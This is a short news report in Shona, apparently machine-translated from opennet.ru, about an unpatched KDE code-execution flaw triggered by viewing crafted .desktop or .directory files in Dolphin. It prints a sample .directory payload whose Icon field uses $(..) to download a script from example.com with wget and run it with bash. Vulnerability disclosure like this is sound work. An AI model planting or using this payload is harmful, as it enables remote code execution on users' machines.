KDE code execution kusagadzikana kana uchiona runyoro rwemafaira

Mu KDE kuzivikanwa vulnerability, iyo inobvumira munhu anorwisa kuti aite zvaanenge arairwa kana mushandisi achiona dhairekitori kana dura renhoroondo rine mafaera akagadzirwa ".desktop" uye ".directory". Kurwiswa kunoda kuti mushandisi angoona runyoro rwemafaira ari muDolphin faira maneja, dhawunirodha yakashata desktop faira, kana kudhonza nzira yekudimbudzira padesktop kana mugwaro. Dambudziko rinozviratidza mukuburitswa kwemaraibhurari ikozvino KDE Mapurani 5.60.0 neshanduro dzekare, kusvika ku KDE 4. Kusagadzikana kuchiri zvinosara isina kururamiswa (CVE haina kupihwa).

Dambudziko rinokonzerwa nekuitwa zvisirizvo kwekirasi yeKDesktopFile, iyo, kana ichigadzira iyo "Icon" shanduko, isina kupukunyuka chaiko, inopfuudza kukosha kune KConfigPrivate::expandString () basa, iro rinoita kuwedzera kwegoko rakakosha mavara, kusanganisira kugadzirisa. tambo "$(..)" semirairo inofanira kuurayiwa . Kusiyana nezvinodiwa zveiyo XDG yakatarwa, kuita kuburitsa shell inovaka inogadzirwa pasina kuparadzanisa rudzi rwezvirongwa, i.e. kwete chete kana uchisarudza mutsara wekuraira wekushandisa kuchatangwa, asi zvakare kana uchitsanangura zvidhori zvinoratidzwa nekusarudzika.

Somuenzaniso, kurwisa yakakwana tumira mushandisi zip archive ine dhairekitori rine ".directory" faira senge:

[Desktop Entry] Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Paunoyedza kuona zviri mudura muDolphin faira maneja, iyo script https://example.com/FILENAME.sh ichatorwa nekuitwa.

Source: opennet.ru